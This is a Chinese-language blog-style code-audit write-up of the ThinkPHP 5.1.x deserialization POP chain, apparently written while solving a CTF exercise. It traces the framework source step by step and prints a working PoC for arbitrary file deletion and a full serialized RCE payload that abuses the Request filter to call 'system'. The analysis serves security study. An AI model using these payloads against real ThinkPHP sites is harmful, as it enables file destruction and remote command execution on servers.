做题看到了这个反序列化,感觉也挺常见这个漏洞的,做一波分析。
反序列化
在刚接触反序列化漏洞的时候,更多遇到的是在魔术方法中,因此自动调用魔术方法而触发漏洞。但如果漏洞触发代码不在魔法函数中,而在一个类的普通方法中。并且魔法函数通过属性(对象)调用了一些函数,恰巧在其他的类中有同名的函数(pop链)。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。
任意文件删除POC
漏洞的起点是 /thinkphp/library/think/process/pipes/Windows.php
的__destruct()
方法。
//thinkphp/library/think/process/pipes/Windows.php
public function __destruct()
{
$this->close();
$this->removeFiles();
}
该方法调用了两个类函数,分别是close()
以及removeFiles()
。
//thinkphp/library/think/process/pipes/Windows.php
public function close()
{
parent::close();
foreach ($this->fileHandles as $handle) {
fclose($handle);
}
$this->fileHandles = [];
}
//thinkphp/library/think/process/pipes/Windows.php
/**
* 删除临时文件
*/
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
发现其中removeFiles()
是用来删除临时文件的。
//thinkphp/library/think/process/pipes/Windows.php
namespace think\process\pipes;
use think\Process;
class Windows extends Pipes
{
/** @var array */
private $files = [];
......
private function removeFiles()
{
foreach ($this->files as $filename) { //遍历files数组中的[new Pivot()]
if (file_exists($filename)) { //若存在该文件名便删除文件
@unlink($filename);
}
}
$this->files = [];
}
....
}
其中$this->files
变量可控,可以通过pop链控制变量进行任意文件删除。
//poc
<?php
namespace think\process\pipes; //构造的POC的命名空间应该与Windows类的命名空间一致
class Pipes{
}
class Windows extends Pipes
{
private $files = [];
public function __construct()
{
$this->files=['需要删除文件的路径'];
}
}
echo base64_encode(serialize(new Windows()));
这条利用链通过构造函数设置了$file
变量,在调用__destruct()
函数时自动删除。
O:27:"think\process\pipes\Windows":1:{s:34:"think\process\pipes\Windowsfiles";a:1:{i:0;s:59:"C:\Program Files (x86)\phpstudy_pro\WWW\www\public\test.txt";}}
只要能找到反序列化字符串上传点,就可以实现任意文件删除。
利用链
回到removeFiles()
函数,其中用来判断$filename
是否存在调用了file_exists()
函数。
//thinkphp/library/think/process/pipes/Windows.php
/**
* 删除临时文件
*/
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
跟进这个函数,发现在传参时,会自动将$filename
作为字符串进行处理。
如果传入的$filename是对象,在反序列化的对象被当做字符串进行处理时,会触发对象的__toString()
函数,全局搜索函数,跟进thinkphp/library/think/model/concern/Conversion.php
的第242行。
//thinkphp/library/think/model/concern/Conversion.php
public function __toString()
{
return $this->toJson();
}
调用了同文件中的toJson()
函数
//thinkphp/library/think/model/concern/Conversion.php
/**
* 转换当前模型对象为JSON字符串
* @access public
* @param integer $options json参数
* @return string
*/
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
调用了toArray()
函数,并进行了json加密
//thinkphp/library/think/model/concern/Conversion.php
/**
* 转换当前模型对象为数组
* @access public
* @return array
*/
public function toArray()
{
$item = [];
$hasVisible = false;
foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}
foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->hidden[$relation][] = $name;
} else {
$this->hidden[$val] = true;
}
unset($this->hidden[$key]);
}
}
// 合并关联数据
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}
$item[$key] = $relation ? $relation->append($name)->toArray() : [];
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible([$attr]);
}
}
$item[$key] = $relation ? $relation->append([$attr])->toArray() : [];
} else {
$item[$name] = $this->getAttr($name, $item);
}
}
}
return $item;
}
代码比较长,拿出关键代码字段
//thinkphp\library\think\model\concern\Conversion.php
public function toArray()
{
$item = [];
$hasVisible = false;
...
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}
...
}
我们这里的利用思路是找到可控变量,且它的方法参数也可控,即$可控变量->方法(参数可控)
。关注$this->append
参数可控,先跟进调用的$this->getRelation($key)
。
//thinkphp/library/think/model/concern/RelationShip.php
/**
* 获取当前模型的关联模型数据
* @access public
* @param string $name 关联方法名
* @return mixed
*/
public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}
如果这里同时满足两个条件,即is_null($name)
返回false
(即$name
参数不为空),且array_key_exists($name, $this->relation)
返回false时,返回空,同时调用$relation = $this->getAttr($key)
。
//thinkphp\library\think\model\concern\Attribute.php
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}
...
return $value;
}
继续跟进getData($name)
//thinkphp\library\think\model\concern\Attribute.php
/**
* 获取对象原始数据 如果不存在指定字段返回false
* @access public
* @param string $name 字段名 留空获取全部
* @return mixed
* @throws InvalidArgumentException
*/
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}
通过查看getData
函数我们可以知道$relation
的值为$this->data[$name]
,这个值我们可控。我们可以控制$relation为一个不存在的visable方法,会自动调用__call方法,找到回调函数call_user_func_array()。
需要注意的一点是这里类的定义使用的是
Trait
而不是class
。自 PHP 5.4.0 起,PHP 实现了一种代码复用的方法,称为trait
。通过在类中使用use
关键字,声明要组合的Trait名称。所以,这里类的继承要使用use
关键字。然后我们需要找到一个子类同时继承了Attribute
类和Conversion
类。
站在上帝视角,我们找到了这么一个子类。
RCE
让我们整理一下整个pop利用链:
目前我们可以控制的变量有
- Windows类中的$files
- Conversion类中的$append
- Attribute类中的$data
/thinkphp/library/think/Request.php
中可以找到__call()
方法,在调用不存在的方法时被调用。
//thinkphp/library/think/Request.php
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this); //倒叙插入
return call_user_func_array($this->hook[$method], $args);
}
throw new Exception('method not exists:' . static::class . '->' . $method);
}
但是这里我们只能控制$args
,所以这里很难反序列化成功,但是 $hook
这里是可控的,所以我们可以构造一个hook数组["visable"=>"method"]
,但是array_unshift()
向数组插入新元素时会将新数组的值将被插入到数组的开头。这种情况下我们是构造不出可用的payload的。
在Thinkphp的Request类中还有一个功能filter
功能,我们可以尝试覆盖filter
的方法去执行代码。
//thinkphp/library/think/Request.php
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
}
.....
}
但是传入的参数$value
不可控,于是找到可控$value
的方法。
//thinkphp/library/think/Request.php
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
....
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter); //这里的$data控制$value
}
...
}
但是input()
函数中的参数是不可控的,还得继续找能控制参数的方法,找到了param()
方法。
//thinkphp/library/think/Request.php
public function param($name = '', $default = null, $filter = '')
{
......
if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter);
}
return $this->input($this->param, $name, $default, $filter);
}
仍然是不可控的,继续寻找调用它的方法,找到了isAjax
//thinkphp/library/think/Request.php
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;
if (true === $ajax) {
return $result;
}
$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}
在该函数中,我们可以控制$this->config['var_ajax']
,可控该参数就意味着param()
函数中的$name
可控,param()
函数可以获得$_GET
数组并赋值给$this->param
。进而可以控制input()
中的$name
参数和$data
参数。
$data = $this->getData($data, $name);
在getData($data, $name)
函数中,$name
的值来自 $this->config['var_ajax']
,跟进该函数。
protected function getData(array $data, $name)
{
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
return;
}
}
return $data;
}
这里$data
的值为$data[$val]
,跟进 getFilter()
//thinkphp/library/think/Request.php
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}
$filter[] = $default;
return $filter;
}
我们需要定义this->filter
为函数名。再来看一下input()
函数,使用回调函数array_walk_recursive()
调用了filterValue()
函数。
//thinkphp/library/think/Request.php
/**
* 递归过滤给定的值
* @access public
* @param mixed $value 键值
* @param mixed $key 键名
* @param array $filters 过滤方法+默认值
* @return mixed
*/
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (false !== strpos($filter, '/')) {
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不成功返回默认值
$value = $default;
break;
}
} elseif (!empty($filter)) {
// filter函数不存在时, 则使用filter_var进行过滤
// filter为非整形值时, 调用filter_id取得过滤id
$value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
if (false === $value) {
$value = $default;
break;
}
}
}
}
return $value;
}
通过分析可以发现filterValue.value
的值为第一个通过GET请求的值,而filters.key
为GET请求的键,且filters.filters
就等于input.filters
的值。
构造payload,师傅们构造的payload如下。
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["ethan"=>["calc.exe","calc"]];
$this->data = ["ethan"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
总结
思路很乱,大手子给的POC我也很难去利用,太菜了orz,感觉后面的都是跟着大手子的思路走的,离审计清楚还有很长的路要走。
参考
https://www.notion.so/tp5-1-X-05305b72e10a466dba0b6fd189530ad5